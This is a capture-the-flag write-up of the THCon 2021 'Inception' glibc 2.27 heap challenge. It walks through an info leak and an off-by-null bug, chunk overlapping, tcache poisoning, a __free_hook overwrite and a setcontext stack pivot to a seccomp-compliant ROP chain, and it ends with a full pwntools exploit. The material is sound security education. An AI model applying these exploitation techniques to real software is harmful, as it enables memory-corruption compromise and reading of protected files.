THCon 2021 - Inception
Inception
Inception was a binary exploitation challenge, created by Voydstack. It was a heap challenge, involving Seccomp.
Discovery
We are given the binary, the libc, as well as the path to the flag, /home/user/flag.txt
. The version of the libc is 2.27.
Playing with the binary, it looks like a typical heap exploitation challenge : we can create dreams
of any size lesser than 0x800 bytes, edit dreams
, show their content, as well as delete them. Creating and deleting dreams
is allocating and freeing chunks respectively.
Dreams are identified by an index.
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 1
Dream size: 100
Dream content: hello
Dream #0 created.
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 4
Dream index: 0
Dream content: hello
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 3
Dream index: 0
New dream content: there
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 4
Dream index: 0
Dream content: there
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 2
Dream index: 0
Dream deleted.
-= Dream Book =-
1. Add dream
2. Delete dream
3. Edit dream
4. View dream
5. Exit
> 4
Dream index: 0
Empty dream.
Reviewing the mitigations, everything is enabled (we can safely assume that ASLR is enabled on the remote machine):
$ checksec inception
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
By looking at the assembly, can also see that the program uses seccomp. Let’s see the rules in details using seccomp-tools.
$ seccomp-tools dump ./inception
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x08 0x00 0x00000000 if (A == read) goto 0012
0004: 0x15 0x07 0x00 0x00000001 if (A == write) goto 0012
0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012
0006: 0x15 0x05 0x00 0x0000000a if (A == mprotect) goto 0012
0007: 0x15 0x04 0x00 0x0000000f if (A == rt_sigreturn) goto 0012
0008: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0012
0009: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0012
0010: 0x15 0x01 0x02 0x000000e7 if (A == exit_group) goto 0012 else goto 0013
0011: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
It is a whitelist, that correctly checks the architecure, and only allows a few syscalls. We will need these informations later.
The vulnerabilities
There are two vulnerabilities in this binary.
Firstly, when adding a dream
, the content of the dream is read using the read
function, which does not append a null byte to the string, and no null bytes are added to ensure that the strings is terminated.
Thus, since the view functionnality prints a strings, it is possible to read any bytes following the content of a dream
up until the first null byte encountered.
The second vulnerability is in the edit functionality, when trying to add a null byte at the end of the string, as highlighted here :
mov eax, dword [rbp - 8] ; eax contains the index of the dream
cdqe
lea rdx, [rax*4]
lea rax, obj.dreams_size
mov eax, dword [rdx + rax] ; eax = dream size
movsxd rdx, eax ; size argument of read (dream size)
mov eax, dword [rbp - 8]
cdqe
lea rcx, [rax*8]
lea rax, obj.dreams
mov rax, qword [rcx + rax]
mov rsi, rax ; address argument of read (address of the dream)
mov edi, 0 ; stdin
call sym.imp.read
mov dword [rbp - 4], eax ; eax = number of bytes read
mov eax, dword [rbp - 8] ; eax = index of the dream
cdqe
lea rdx, [rax*8]
lea rax, obj.dreams
mov rdx, qword [rdx + rax] ; rdx = address of the corresponding dream
mov eax, dword [rbp - 4] ; eax = number of bytes read
cdqe
add rax, rdx ; Calculates the address by adding the number of byte read to the beginning of the chunk
mov byte [rax], 0 ; Write the null byte, this can be out of the chunk!
Let’s review it :
First, it calls read
to edit the content of the dream, with the size parameter equal to the size given when we added the dream. Then, it takes the return value from read
, which is the number of bytes read, and adds to it the address of the dream, and writes a null byte there.
However, if we created a dream
whose size was filling the content of the chunk given by malloc
, when editing the chunk, we can write a null byte out of the chunk boundaries !
With these two vulnerabilities, it is enough to exploit this program.
Exploitation
Let’s get a proper environnement to develop our exploit. I’ll use pwninit to get a version of the libc with debug symbols, as well as a matching ld.so
that can load the given binary. It also creates a template file that uses pwntools
with python for the challenge.
I’ll also create helper functions that let me easily interact with the functionality of the program (the full python script is available below).
Leaking
Since both PIE and ASLR are enabled, we will need leaks before starting anything. In this case, we will need two leaks.
Leaking the heap
We will need the base address of the heap for the last part of our exploitation, but it is easier to get it now. For this, we will use the first vulnerability, leveraging tcache
bins. A more complete overview of the different aspects of malloc
can be found on MallocInternals here, but essentialy, malloc
keeps track of freed chunks, and categorizes them differents bins - tcache
being one of them. It contains several singly linked LIFO lists, each containning freed chunk, each list having a specific chunk size.
An example of freed dreams
in a tcache bin :
0x55555555a250: 0x0000000000000000 0x0000000000000021 <- metadata of chunk 1
0x55555555a260: 0x0000000000000000 0x000055555555a010 <- data of freed chunk 1
0x55555555a270: 0x0000000000000000 0x0000000000000021 <- metadata of chunk 2
0x55555555a280: 0x000055555555a260 0x000055555555a010 <- data of freed chunk 2
In the above example, I freed chunk 1 then chunk 2, and in the data of chunk 2, the first 8 bytes are a pointer to the next chunk in the tcache bin. This is a heap address and a perfect target for our leak.
The first 8 bytes of the metadata are the size of the previous chunks, and the next 8 bytes are the size of the chunk. Since the size of a chunk is a multiple of 0x10 (0x8 on a 32 bits machine), the last bits are not useful, so the last 3 bits are reused as flags to manage the heap, notably the least significant bit is the flag PREV_INUSE
, which indicates if the previous chunk is free or in user. Why is the previous size 0 and the PREV_INUSE
set when I have freed both chunks ? This is becausethey are in the tcache
which behaves differently - check out MallocInternals for the details :)
To actually get the value, we will create two dreams
and free them to get in the above situation, then allocate a new dream
with a content size of 1 (we cannot do 0 bytes), and then view its content. Since we are creating the chunk, we will overwrite the least significate byte of the pointer, but luckily for us, the base address of the heap is page aligned, which means that last 12 bits of the base address of the heap are zeros. We can therefore safely set these 12 bits to 0 to get our leak (ignoring the 8 bits we overwrote).
In newer version of the glibc, this is not as straightforward.
Scripting this in python, we get :
add(0x10, 'azer')
add(0x10, 'azer')
delete(0)
delete(1)
add(0x10, '0')
leak = view(0)
heap_leak = u64(leak[:6].ljust(8, b'\x00'))
heap_base = heap_leak & ~0xfff # Setting the last 12 bits to 0
log.success(f"heap base : {hex(heap_base)}")
It works !
[+] heap base : 0x55ab13e63000
Now, we do some cleanup for what comes next :
delete(0)
delete(1)
Leaking LIBC
To get a libc leak, we need to get a libc address on the heap, which we could then leak using the same method. However, I’ll do this using a different method : it is the first step to what comes next anyway.
Overlapping chunks
For this, we will trick malloc
in creating two overlapping chunks using the second vulnerability. This technique is explained in great depth here with some malloc internals. The idea relies on using the off by null to clear the least significant byte of the metadata of the next chunk, which indicates notably if the previous chunk is in use or not, and then make it coalesce two chunks that it thinks are adjacent, while they are not.
Let’s go step by step.
First we will create 4 chunks, of different sizes (I will come back to the reasons for the sizes in a moment) and free the first one:
add(0x4f0, b'aaaa')
add(0x68, b'bbbb')
add(0x4f0, b'cccc')
add(0x200, b'dddd')
delete(0)
We have the following situation :
gef➤ heap chunks
...
Chunk(addr=0x55939522b260, size=0x500, flags=PREV_INUSE)
[0x000055939522b260 a0 1c 4d 64 62 7f 00 00 a0 1c 4d 64 62 7f 00 00 ..Mdb.....Mdb...]
Chunk(addr=0x55939522b760, size=0x70, flags=)
[0x000055939522b760 62 62 62 62 00 00 00 00 00 00 00 00 00 00 00 00 bbbb............]
Chunk(addr=0x55939522b7d0, size=0x500, flags=PREV_INUSE)
[0x000055939522b7d0 63 63 63 63 00 00 00 00 00 00 00 00 00 00 00 00 cccc............]
Chunk(addr=0x55939522bcd0, size=0x210, flags=PREV_INUSE)
[0x000055939522bcd0 64 64 64 64 00 00 00 00 00 00 00 00 00 00 00 00 dddd............]
gef➤ x/2gx 0x000055939522b260
0x55939522b260: 0x00007f62644d1ca0 0x00007f62644d1ca0
We have four chunk, the first one being free, while the other 3 are in use. We can see two libc address : this is why we chose a size of 0x4f0
for our dream : it creates a chunk of size 0x500
, which is too big to go in either the tcache
or fastbins
, so it ends up in the unsorted bin
, which is a doubly linked list, whose head is in the libc, and the freed chunks have a forward and backward pointer to the list, this is why we have this address here. So we actually put a libc address on the heap.
Next, we will leverage the second vulnerability to clear the least signigicant bit of the cccc
chunk, updating the PREV_INUSE
flag. This is also why we 0x4F0
for the dream size, it creates a 0x500
chunk, and so while clearing this bit, we do not shrink the chunk size. This will make malloc
think that the chunk bbbb
is free while it actually is not.
This is not sufficient for our goal : we also need to update the prev_size
field of the chunk cccc
to make it think that the previous chunk is aaaa
. Since this field is the first 8 bytes of the metadata of chunk cccc
, this is also the last 8 bytes of chunk bbbb
, which we can edit. So we will update it to be 0x570
, the size of chunk aaaa
+ bbbb
, making it believe there is only one chunk before.
Let’s continue our script :
add(0x4f0, b'aaaa')
add(0x680, b'bbbb')
add(0x4f0, b'cccc')
add(0x200, b'dddd')
delete(0)
edit(1, b'B'*0x60 + p64(0x570)) # Set prev_size
in our debugger, we get :
gef➤ heap chunks
...
Chunk(addr=0x564dbb2f4260, size=0x500, flags=PREV_INUSE)
[0x0000564dbb2f4260 a0 ac 78 6c d5 7f 00 00 a0 ac 78 6c d5 7f 00 00 ..xl......xl....]
Chunk(addr=0x564dbb2f4760, size=0x70, flags=)
[0x0000564dbb2f4760 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB]
Chunk(addr=0x564dbb2f47d0, size=0x500, flags=)
[0x0000564dbb2f47d0 63 63 63 63 00 00 00 00 00 00 00 00 00 00 00 00 cccc............]
Chunk(addr=0x564dbb2f4cd0, size=0x210, flags=PREV_INUSE)
[0x0000564dbb2f4cd0 64 64 64 64 00 00 00 00 00 00 00 00 00 00 00 00 dddd............]
Chunk(addr=0x564dbb2f4ee0, size=0x20130, flags=PREV_INUSE) ← top chunk
gef➤ heap chunk 0x0000564dbb2f47d0
Chunk(addr=0x564dbb2f47d0, size=0x500, flags=)
Chunk size: 1280 (0x500)
Usable size: 1272 (0x4f8)
Previous chunk size: 1392 (0x570)
PREV_INUSE flag: Off
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off
We have successfully changed the PREV_INUSE
and PREV_SIZE
values.
Now, all we have to do is free chunk cccc
, which is big enough to not go in either the tcache
or fastbin
, and will then trigger the coalescing of the chunk (if this is not clear, check the MallocInternals link above).
The chunk will coalesce and merge with what it think is his adjacent chunk, which is aaaa
instead of bbbb
, creating a big free chunk that goes over bbbb
, of size 0xa70
. This is also the reason why we need dddd
: this way cccc
is not merged with the top chunk (the size of dddd
does not matter).
Let’s update our script:
add(0x4f0, b'aaaa')
add(0x680, b'bbbb')
add(0x4f0, b'cccc')
add(0x200, b'dddd')
delete(0)
edit(1, b'B'*0x60 + p64(0x570)) # Set prev_size
delete(2)
And the result :
gef➤ heap chunks
...
Chunk(addr=0x55be450242a0, size=0xa70, flags=PREV_INUSE)
[0x000055be450242a0 a0 0c f6 15 09 7f 00 00 a0 0c f6 15 09 7f 00 00 ................]
Chunk(addr=0x55be45024d10, size=0x210, flags=)
[0x000055be45024d10 64 64 64 64 00 00 00 00 00 00 00 00 00 00 00 00 dddd............]
Chunk(addr=0x55be45024f20, size=0x200f0, flags=PREV_INUSE) ← top chunk
gef➤ heap bins
────────────────────────────── Tcachebins for arena 0x7f0915f60c40 ──────────────────────────────
Tcachebins[idx=0, size=0x20] count=2 ← Chunk(addr=0x55be45024280, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x55be45024260, size=0x20, flags=PREV_INUSE)
─────────────────────────────── Fastbins for arena 0x7f0915f60c40 ───────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────
[+] unsorted_bins[0]: fw=0x55be45024290, bk=0x55be45024290
→ Chunk(addr=0x55be450242a0, size=0xa70, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
We have succesfully coalesced the chunks ! (gdb-gef
does not show chunk bbbb
in the list, but it is still allocated and we still control it).
Now, to get our libc leak, all we have to do, is to allocate a dream
of size 0x4f0
, since both the tcache
and fastbins
cannot give a chunk of the requested size, it will take a slice (this is possible because this chunk is in the unsorted bin
) of the free chunk of size 0xa70
and push down the libc address right over the content of chunk bbbb
(this is because the remaining 0x570
bytes chunk is still in the unsorted bin
).
Viewing the content of bbbb
should output a libc address.
add(0x4f0, b'aaaa')
add(0x68, b'bbbb')
add(0x4f0, b'cccc')
add(0x200, b'dddd')
delete(0)
edit(1, b'B'*0x60 + p64(0x570))
delete(2)
add(0x4f0, b'push')
data = view(1)
libc_leak = u64(data[:6].strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0 # We find this offset using our debugger :)
log.success(f"libc base : {hex(libc_base)}")
And we have a libc leak !
[+] libc base : 0x7f5bebc37000
Arbitrary write & Controlling the Instruction pointer
So, why did we do all of this ? We could have freed a chunk into the unsorted bin
, and used the first bug to leak the libc address.
Having two overlapping chunks is very useful for us : remember the size of bbbb
- it is 0x70
bytes. Therefore, if we free it, it will end up in the corresponding tcache
, and if you remember the beginning, the first 8 bytes are a pointer to the next free chunk in the same tcache
. But since we have overlapping chunks, we can control this pointer ! Which means, if we make more allocations from the same tcache
, we will get bbbb
first, and then a fake chunk, at an address we can control, and so, we can write anywhere in memory !
Let’s see this in action
add(0x60, b'eeee') # Overlapping with "bbbb", named "eeee"
delete(2) # We immediately free it
edit(1, p64(0x012345679abcdef)) # Overwrite the pointer
Looking at the tcache
we can see we corrupted our list :
gef➤ heap bins
...
Tcachebins[idx=5, size=0x70] count=1 ← Chunk(addr=0x564c2d1037a0, size=0x70, flags=PREV_INUSE) ← [Corrupted chunk at 0x123456789abcdef]
Allocating a new dream of the same size, we are left with our corrupted chunk, allocating once more, we get a segmentation fault !
So we can write anywhere, but where do we want to write ? The goal is to control rip
. The got
is read-only, and we don’t know its address. There isn’t any pointer to function in the heap, so we are left with the libc.
Great targets are hooks ! Hooks, such as __malloc_hook
or __free_hook
, are pointers to functions to call when the corresponding function in their name is called.
Since we can trigger both of these functions, they seem like good targets.
Let’s modify our script to overwrite __free_hook
(I’ll come back to why __free_hook
rather than malloc_hook
just after) :
free_hook = libc_base + libc.symbols['__free_hook']
add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))
add(0x60, b'a_random_string') # take out "eeee" out of the tcache
add(0x60, p64(0x0123456789abcdef)) # overwrite __free_hook
Now, calling free triggers a segfault, with rip
equals to 0x0123456789abcdef
! We can control rip
.
Stack pivoting
Now we can control the execution, but where do we want to go ? Remember that there is a seccomp whitelist ! Without it, we could try to call a one gadget and get a shell, but here execve
and others are not allowed.
The only interesting thing that the whitelisted syscalls let us do, are open,
read
and write
on the flag file.
For this to work, we need to be able to execute at least a ropchain, at best a shellcode, so let’s start with a ropchain.
But we don’t control the values on the stack ! So, in order to ROP, we will need to do what is called a stack pivot, which is a (long) gadget which will let us control the rsp
register, which we will set to a known location where we will previously have written a ropchain. This ropchain will be written on the heap, this is why we needed to leak the base address of the heap in the first place.
But how do we set the rsp
value if we don’t control the stack ? There is no gadget which will change rsp
to a heap address on its own. This is the reason why I chose __free_hook
over __malloc_hook
: the only argument given to a call to malloc
is a size, and as the function pointed by __malloc_hook
is called before the actual chunk allocation, we end up with a size in the rdi
register, which is not very interesting for us.
However, the argument to free
is a pointer to the chunk we are trying to free, so if we overwrite __free_hook
with our gadget, when our gadget is called, we control the values at [rdi + 0x??]
. This is enough to do a stack pivot.
If there was no seccomp, using this same method, we could overwrite __free_hook
with the address of system
, create a dream
with the content /bin/sh\x00
, and free it to get a shell.
Where do we find this gadget ? In the libc ! (We don’t even know the base address of the binary). There are many gadgets in a libc, so finding exactly what we want can take some time. There is a well-known gadget in the setcontext
function in this version of the libc.
0x000521b5 488ba7a00000. mov rsp, qword [rdi + 0xa0]
0x000521bc 488b9f800000. mov rbx, qword [rdi + 0x80]
0x000521c3 488b6f78 mov rbp, qword [rdi + 0x78]
0x000521c7 4c8b6748 mov r12, qword [rdi + 0x48]
0x000521cb 4c8b6f50 mov r13, qword [rdi + 0x50]
0x000521cf 4c8b7758 mov r14, qword [rdi + 0x58]
0x000521d3 4c8b7f60 mov r15, qword [rdi + 0x60]
0x000521d7 488b8fa80000. mov rcx, qword [rdi + 0xa8]
0x000521de 51 push rcx
0x000521df 488b7770 mov rsi, qword [rdi + 0x70]
0x000521e3 488b97880000. mov rdx, qword [rdi + 0x88]
0x000521ea 488b8f980000. mov rcx, qword [rdi + 0x98]
0x000521f1 4c8b4728 mov r8, qword [rdi + 0x28]
0x000521f5 4c8b4f30 mov r9, qword [rdi + 0x30]
0x000521f9 488b7f68 mov rdi, qword [rdi + 0x68]
0x000521fd 31c0 xor eax, eax
0x000521ff c3 ret
We can control the value of many registers, including rsp
, we just have to remember to put in rcx
the address of the next gadget to start the ropchain - because it will be push on the stack, this is the value that the ret
instruction will pop and execute.
Let’s update our script and start the ropchain (and change the random string to the path to the flag, we will use this later) :
free_hook = libc_base + libc.symbols['__free_hook']
gadget = libc_base + 0x521b5 # The address of the setcontext gadget
add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))
add(0x60, b'/home/user/flag.txt\x00') # Since we will need this string later to open the file, put it somewhere in the heap right now
add(0x60, p64(gadget)) # overwrite __free_hook with the address of the setcontext gadget
ropchain = b""
ropchain = ropchain.ljust(0xa0, b'\x00') # We could set the other register to useful values, but we have a lot of space so this is fine
ropchain += p64(rsp_value)
ropchain += p64(rcx_value)
add(0x800, ropchain)
delete(5) # triggers __free_hook with a pointer to our chunk with the ropchain in rdi
Notice that there is some padding before the rsp_value
, this is be cause the value will be taken from rdi + 0xa0
.
What value do we put for rsp
and rcx
? Because rcx
will be pushed to the new stack, we need to be precise to not overwrite important part of the ropchain.
First, the easy part : for rcx_value
, we will put the address of a ret
instruction, this way we can follow with a normal ropchain, ignoring this gadget.
For rsp_value
, I will set it to be right after rcx_value
, this way, when the push rcx
happens, it pushes the address of the ret
over … rcx_value
, then when the ret
of setcontext
executes, it will pop the value that was just pushed into rip
, executes the ret
, and we can follow with a normal ropchain.
We can do this because we leaked the heap earlier.
free_hook = libc_base + libc.symbols['__free_hook']
gadget = libc_base + 0x521b5
ret = libc_base + 0x521ff
add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))
add(0x60, b'/home/user/flag.txt\x00')
add(0x60, p64(gadget))
rsp_value = heap_base + 0xfd0 # Calculated using a debugger
rcx_value = ret
ropchain = b""
ropchain = ropchain.ljust(0xa0, b'\x00')
ropchain += p64(rsp_value)
ropchain += p64(rcx_value)
add(0x800, ropchain)
delete(5) # triggers __free_hook with a pointer to our chunk with the ropchain in rdi
Next, we can use mprotect
(which is allowed by seccomp) to turn the heap executable, or simply continue with a ropchain, which I’ll do here.
We have to open
the file, read
from the corresponding file descriptor, and write
it to stdout. For both read
and write
, we can use the wrappers inside of libc, however, we cannot use the open for open, which uses the shmctl
syscall, which is not permitted by seccomp. So for open, we will make the syscall directly.
free_hook = libc_base + libc.symbols['__free_hook']
gadget = libc_base + 0x521b5
ret = libc_base + 0x521ff
pop_rax = libc_base + 0x43ae8
pop_rsi = libc_base + 0x23eea
pop_rdi = libc_base + 0x215bf
pop_rdx = libc_base + 0x1b96
syscall = libc_base + 0xd2745
read = libc_base + libc.symbols['read']
puts = libc_base + libc.symbols['puts']
add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))
add(0x60, b'/home/user/flag.txt\x00')
add(0x60, p64(gadget))
rsp_value = heap_base + 0xfd0 # Calculated using a debugger
rcx_value = ret
ropchain = b""
ropchain = ropchain.ljust(0xa0, b'\x00')
ropchain += p64(rsp_value)
ropchain += p64(rcx_value)
ropchain += p64(pop_rax) # sets rax to the target syscall number
ropchain += p64(2) # SYS_OPEN
ropchain += p64(pop_rdi) # pointer to path
ropchain += p64(heap_base + 0x7a0) # address of string /home/user/flag.txt
ropchain += p64(syscall)
ropchain += p64(pop_rdi) # sets the fd value
ropchain += p64(3) # fd of the recently opened file
ropchain += p64(pop_rsi) # sets the where the content will be written
ropchain += p64(heap_base) # any writeable address
ropchain += p64(pop_rdx) # sets the number of bytes to read
ropchain += p64(0x100)
ropchain += p64(read)
ropchain += p64(pop_rdi) # address of the data read
ropchain += p64(heap_base)
ropchain += p64(puts)
add(0x800, ropchain)
delete(5) # triggers __free_hook with a pointer to our chunk with the ropchain in rdi
This works ! At the time of writing, the server is not up anymore, however running it locally and changing the flag path to /etc/passwd
gives the expected output :
$ python3 test.py
...
[+] heap base : 0x559520a93000
[+] libc base : 0x7f0645cf0000
[*] Switching to interactive mode
root:x:0:0::/root:/bin/bash
...
When running it remotely, I just had to change the fd of the open file to be 5 instead of 3, probably because the program had additionnal open file descriptors due to the remote connection.
This was a nice challenge :)
Full exploit
from pwn import *
context.terminal=["tmux", "split-w"]
p = process("./inception_patched")
#p = remote("remote1.thcon.party", 10904)
libc = ELF("./libc.so.6")
def add(size, data):
p.recvuntil(b'> ')
p.sendline('1')
p.recvuntil(b': ')
p.sendline(str(size))
p.recvuntil(b': ')
p.send(data)
def delete(idx):
p.recvuntil(b'> ')
p.sendline('2')
p.recvuntil(b': ')
p.sendline(str(idx))
def edit(idx, data):
p.recvuntil(b'> ')
p.sendline('3')
p.recvuntil(b': ')
p.sendline(str(idx))
p.recvuntil(b': ')
p.sendline(data)
def view(idx):
p.recvuntil(b'> ')
p.sendline('4')
p.recvuntil(b': ')
p.sendline(str(idx))
p.recvuntil(b': ')
data = p.recvuntil(b'-= Dream')
return data
add(0x10, 'azer')
add(0x10, 'azer')
delete(0)
delete(1)
add(0x10, '0')
leak = view(0)
heap_leak = u64(leak[:6].ljust(8, b'\x00'))
heap_base = heap_leak & ~0xfff
log.success(f"heap base : {hex(heap_base)}")
delete(0)
delete(1)
add(0x4f0, b'aaaa')
add(0x68, b'bbbb')
add(0x4f0, b'cccc')
add(0x200, b'dddd')
delete(0)
edit(1, b'B'*0x60 + p64(0x570))
delete(2)
add(0x4f0, b'push')
data = view(1)
libc_leak = u64(data[:6].strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0
log.success(f"libc base : {hex(libc_base)}")
free_hook = libc_base + libc.symbols['__free_hook']
gadget = libc_base + 0x521b5
ret = libc_base + 0x521ff
pop_rax = libc_base + 0x43ae8
pop_rsi = libc_base + 0x23eea
pop_rdi = libc_base + 0x215bf
pop_rdx = libc_base + 0x1b96
syscall = libc_base + 0xd2745
read = libc_base + libc.symbols['read']
puts = libc_base + libc.symbols['puts']
add(0x60, b'eeee')
delete(2)
edit(1, p64(free_hook))
add(0x60, b'/etc/passwd\x00')
add(0x60, p64(gadget))
rsp_value = heap_base + 0xfd0 # Calculated using a debugger
rcx_value = ret
ropchain = b""
ropchain = ropchain.ljust(0xa0, b'\x00')
ropchain += p64(rsp_value)
ropchain += p64(rcx_value)
ropchain += p64(pop_rax) # sets rax to the target syscall number
ropchain += p64(2) # SYS_OPEN
ropchain += p64(pop_rdi) # pointer to path
ropchain += p64(heap_base + 0x7a0) # address of string /home/user/flag.txt
ropchain += p64(syscall)
ropchain += p64(pop_rdi) # sets the fd value
ropchain += p64(3) # fd of the recently opened file
ropchain += p64(pop_rsi) # sets the where the content will be written
ropchain += p64(heap_base) # any writeable address
ropchain += p64(pop_rdx) # sets the number of bytes to read
ropchain += p64(0x100)
ropchain += p64(read)
ropchain += p64(pop_rdi) # address of the data read
ropchain += p64(heap_base)
ropchain += p64(puts)
add(0x800, ropchain)
delete(5)
p.interactive()